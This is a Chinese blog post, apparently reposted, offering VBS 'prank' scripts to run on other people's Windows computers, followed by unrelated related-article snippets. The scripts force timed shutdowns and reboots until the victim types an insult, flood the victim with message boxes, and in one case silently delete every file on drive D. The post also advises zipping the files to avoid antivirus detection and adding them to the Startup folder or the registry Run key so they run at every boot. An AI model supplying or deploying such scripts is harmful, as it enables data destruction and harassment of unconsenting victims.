c语言vbs,我的vbs整人程序

c412e13c4a9744f0afbfaa9baca0dfa1.png

源代码,建立一个txt(桌面--右击--新建--文本文档),后缀改为vbs:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -s -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox "乖"

loop

msgbox "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

“我是猪”可以替换成其他的字符,如“我爱你”之类的

cmd.exe /c shutdown -s -t 60 -c

此处代码可以调节关机时间(默认是60秒)

想解除,用这个,后缀改为bat:

taskkill /im wscript.exe /f /t

shutdown -a

第二个(后缀改为vbs):

WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!")

WScript.Echo("你是可爱的小朋吗?")

WScript.Echo("哈,我想你拉,这你都不知道吗?")

WScript.Echo("怎么才来,说~是不是不关心我")

WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")

WScript.Echo("小强很生气,后果很严重哦。")

WScript.Echo("嘿嘿!你也会很惨滴哦")

WScript.Echo("是不是想清除我?")

WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")

WScript.Echo("还剩49下,快点点哦")

WScript.Echo("还剩48下,快点,小笨蛋!")

WScript.Echo("还剩47下对,就这样快点点!")

WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。")

WScript.Echo("还剩45下,记得要快哦!")

WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下")

WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下")

WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下")

WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下")

WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下")

WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下")

WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下")

WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下")

WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下")

WScript.Echo("还剩15下")

WScript.Echo("还剩14下")

WScript.Echo("还剩13下停停!!!慢点,我有话要说")

WScript.Echo("还剩12下,你继续点我就会消失滴")

WScript.Echo("还剩11下,以后就看不到我拉。555555")

WScript.Echo("还剩10下,你现在可以选择停止!")

WScript.Echo("还剩9下。你还点啊,不要我拉?")

WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家")

WScript.Echo("还剩7下。疯了,你有点负意!")

WScript.Echo("还剩6下。对。你就点吧,我恨你!")

WScript.Echo("还剩5下,不明白,删除我你就好吗?")

WScript.Echo("还剩4下!真要删除我?")

WScript.Echo("还剩3下。可是我真的很眷恋你。。。")

WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!")

WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!")

WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

由于这个无法截图,大家自己试吧!

同样解除wscript.exe进程

第三个:

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

删除D:\所有文件(后台进行)

第四个:

set ws=createobject("wscript.shell")

call shutdown(1)

do while a<>"我是猪"

a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输","不输")

loop

call shutdown(2)

msgbox "早说就行了嘛",4096+64

msgbox"再输一遍我是猪!",4096+64

msgbox"我是猪!",4096+64

MsgBox"最后一次!",4096+64

MsgBox"如果你很快的点过去,不看的话",4096+64

MsgBox"我就要你踩我空间的!哼!",4096+64

MsgBox"从前有座山!",4096+64

MsgBox"山里有个庙.",4096+64

MsgBox"庙里有个老和尚在讲故事.",4096+64

ws.run"iexplore.exehttp://new.qzone.qq.com/137841986/infocenter"

msgbox"哎呀累了!数绵羊哄我睡觉",4096+64

for i=1 to 100

MsgBox i&"只绵羊",4096+64

next

msgbox"哎呀我困了,这次就饶过你吧,下次注意哦!",4096+64

msgbox"最后问个问题,我是不是大好人!",4096+64

if inputbox("是不是","请选择","是")<>"是" then

call shutdown(1)

end if

sub shutdown(s)

select case s

case 1

ws.run"cmd.exe /c shutdown -r -t 60 -c",0

case 2

ws.run"cmd.exe /c shutdown -a",0

end select

end sub

ws.run"iexplore.exehttp://new.qzone.qq.com/137841986/infocenter"

这段代码可以改成你自己设定的地址

如果别人不输我是猪的话就会一直点下去 点到你设定的数字

for i=1 to 100

从1到100

可以改成 20 其他的数字

我就收集这些,还想要的话点下面

我是新手,前几天的文章里的代码全是是我收集的。

大家有很多时候都会发现,双击整人程序后有很多杀毒软件会“自以为是”的报毒。

所以我建议打个压缩包:

131822nblmryrlqblzqdmh.jpg

省着让“病毒”进《病毒隔离所》。

你如果对对方恨之入骨,那么你可以把文件放入(C:\Documents and Settings\用户名\「开始」菜单\程序\启动)里面,让它开机就启动。

或者将文件放入( HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN )项里(启动项)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/487323.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

获取某个周在本年的开始日期和结束日期

传入 年份 和 本年的多少周&#xff0c;计算改周在本年的开始日期和结束日期 /** Purpose : 根据所给年份和该年的第几周&#xff0c;得出该周在本年的开始日期和结束日期* time : 2017/11/03 */ function getWeekStartAndEnd ($year,$week1) {header("Conten…

《自然》评价“天问一号”成功发射—— 全球深空探索走进新时代

来源&#xff1a;科技日报北京时间7月23日&#xff0c;重达5000公斤的“天问一号”探测器从海南文昌航天发射中心升空&#xff0c;大约36分钟后进入地火转移轨道&#xff0c;器箭分离正常&#xff0c;探测器太阳翼展开正常&#xff0c;发射任务取得圆满成功。全球著名期刊、英国…

c语言飞机订票系统排序,飞机订票系统设计

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼ufind_num_hlink_list(save,book_flight_num);strcpy(ticket_x1.flight_num,u->info.flight_num);strcpy(ticket_x1.start_add,u->info.start_add);strcpy(ticket_x1.end_add,u->info.end_add);ticket_x1.start_time.year…

C Builder中如何利用消息

规范的BCB过程利用Application->Run()进去消息循环&#xff0c;在Application的ProcessMessage措施中&#xff0c;利用PeekMessage措施从消息队列中提取消息&#xff0c;并将此消息从消息队列中移除。然后ProcessMessage措施察看是否存在Application->OnMessage措施。存在…

android自定义adapter怎么优化,Android必学-BaseAdapter的使用与优化

数据适配器——BaseAdapter可以自定义View或者利用参数中的convertView一、逗比式没有任何优化处理&#xff0c;每次都创建新的View&#xff0c;设置控件&#xff0c;效率极其低下 Overridepublic View getView(int position, View convertView, ViewGroup parent) {//逗比式(没…

Hinton最新演讲透露下一代神经网络模型的构想 | SIGIR 2020

来源&#xff1a;北京智源人工智能研究院7月27日上午&#xff0c;第43届国际信息检索大会&#xff08;SIGIR 2020&#xff09;以线上会议的形式开幕。图灵奖获得者Geoffrey Hinton教授作为首位主题演讲者进行了题为“神经网络的新时代&#xff08;The Next Generation of Neura…

从社会数据到社会智慧的社会计算:新技术、新哲学、新文科

来源&#xff1a;中国指挥与控制学会从社会数据到社会智慧的社会计算&#xff1a;新技术、新哲学、新文科——王飞跃研究员在中国社会科学院大学举办的“计算与人文社科融合创新高端论坛”暨“计算社会科学研究中心”成立大会上的主题报告观点人物介绍王飞跃研究员&#xff0c;…

2017-2018-1 20155338 《信息安全系统设计基础》第七周学习总结

2017-2018-1 20155338 《信息安全系统设计基础》第七周学习总结 教材学习内容总结 Y86-64指令集体系结构 程序员可见状态 概念&#xff1a;Y86程序中的每条指令会读取或修改处理器状态的某些部分&#xff0c;这些称之为处理器的可见状态。 Y86处理器状态可以访问和修改程序寄存…

android动态加home,Android 解决监听home键的几种方法

Android 解决监听home键的几种方法前言&#xff1a;以下两种方法可以完美解决监听back键&#xff0c;home键&#xff0c;多任务键(最近任务键)。一、使用注册广播监听home键、多任务键演示图创建一个广播代码如下&#xff1a;class InnerRecevier extends BroadcastReceiver {f…

英特尔大地震!解雇首席工程官,7纳米延期,或面临集体诉讼……

物联网智库 整理发布转载请注明来源和出处2020年的世界很不太平。纵观全球&#xff0c;疫情、洪水、蝗灾……尽管各种天灾人祸频繁上演&#xff0c;美股却一路向好&#xff0c;苹果、特斯拉等股价飙升。但有人欢喜有人愁&#xff0c;英特尔迎来自己的黑色星期五——上周五股价暴…

开源项目解读 —— Self-Operating Computer Framework # 长期主义 # 价值

价值&#xff1a;生成主函数业务逻辑函数思维导图&#xff0c;帮助理解&#xff0c;PR到开源项目&#xff0c;希望帮助大家理解IPA工作原理&#xff0c;国内没有好的开源项目&#xff0c;我就来翻译分析解读&#xff0c;给大家抛砖引玉。思维导图用文心一言配合其思维导图插件实…

对表格内容进行筛选!

<!DOCTYPE html><head> <meta http-equiv"Content-Type" content"text/html; charsetutf-8" /> <title>Test js</title> </head> <script type"text/javascript"> function onSearch(obj){//js函数开…

android 提供的方法,Android编程之创建自己的内容提供器实现方法

本文实例讲述了Android编程之创建自己的内容提供器实现方法。分享给大家供大家参考&#xff0c;具体如下&#xff1a;我们学习了如何在自己的程序中访问其他应用程序的数据。总体来说思 路还是非常简单的&#xff0c;只需要获取到该应用程序的内容 URI&#xff0c;然后借助 Con…

两个几何世界

文章来源&#xff1a;原理━━━━多年前&#xff0c;物理学家在试图弄清楚弦理论的一些细节的过程中&#xff0c;观察到了一种奇异的对应关系&#xff1a;从一种几何世界出现的数字与来自截然不同的几何世界中的极为不同的数字完全匹配。对于物理学家而言&#xff0c;这种对应…

Git 教程学习--第三篇

一、远程仓库 1.先自行注册GitHub账号。由于你本地Git仓库和GitHub仓库之间的传输是通过SSH加密的&#xff0c;所以&#xff0c;需要一点设置 第一步&#xff1a;创建SSH Key。 在用户主目录下&#xff0c;看看有没有.SSH目录&#xff0c;如果有&#xff0c;再看看这个目录下有…

android动态居中布局,Android动态添加布局的两种方式

释放双眼&#xff0c;带上耳机&#xff0c;听听看~&#xff01;前言大多数时候我们布局都是用xml来布局的&#xff0c;但有些时候也是会用到动态布局的&#xff0c;尤其是在一些大项目中&#xff0c;动态布局更是体现的淋漓尽致。所以今天我们就来学习一些动态加添布局的两种方…

看了 72 位图灵奖得主成就,才发现我对计算机一无所知

来源&#xff1a;人工智能AI技术今天是计算机科学之父、人工智能之父 艾伦麦席森图灵 诞辰 108 周年。作为“图灵意志”的传承者&#xff0c;依照惯例&#xff0c;在今日纪念这位伟人。从“图灵机”到“图灵测试”&#xff0c;从破译德军的 Enigma 到自杀之谜&#xff0c;图灵一…

android 怎么改变字体颜色,安卓系统字体颜色修改教程

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼反编辑framework-res.apk1.修改内容如下&#xff1a;打开res/values/colors.xml找到 回编辑后需要把你在apk中的改过的xml文件替换到原版apk中&#xff0c;修改了带value字样文件夹下的xml要替换apk中resources.arsc这个文件#ffc8c…

prop attr 到底哪里不一样?

好吧 首先承认错误 说好的每天进行一次只是总结 但是我没坚持住 准确的来说 我并没有每天会学到了东西 但是 我一直在持续努力着 以后应该不会每天都写 但是自己觉得有用的 或者想加强记忆的 可能会写出来 我前段时间 看书的时候 注意到prop() 但是一直没用到过 今天就探…

【深度学习】解析深度神经网络背后的数学原理

来源&#xff1a;产业智能官解析深度网络背后的数学如今&#xff0c;已有许多像 Keras, TensorFlow, PyTorch 这样高水平的专门的库和框架&#xff0c;我们就不用总担心矩阵的权重太多&#xff0c;或是对使用的激活函数求导时存储计算的规模太大这些问题了。基于这些框架&#…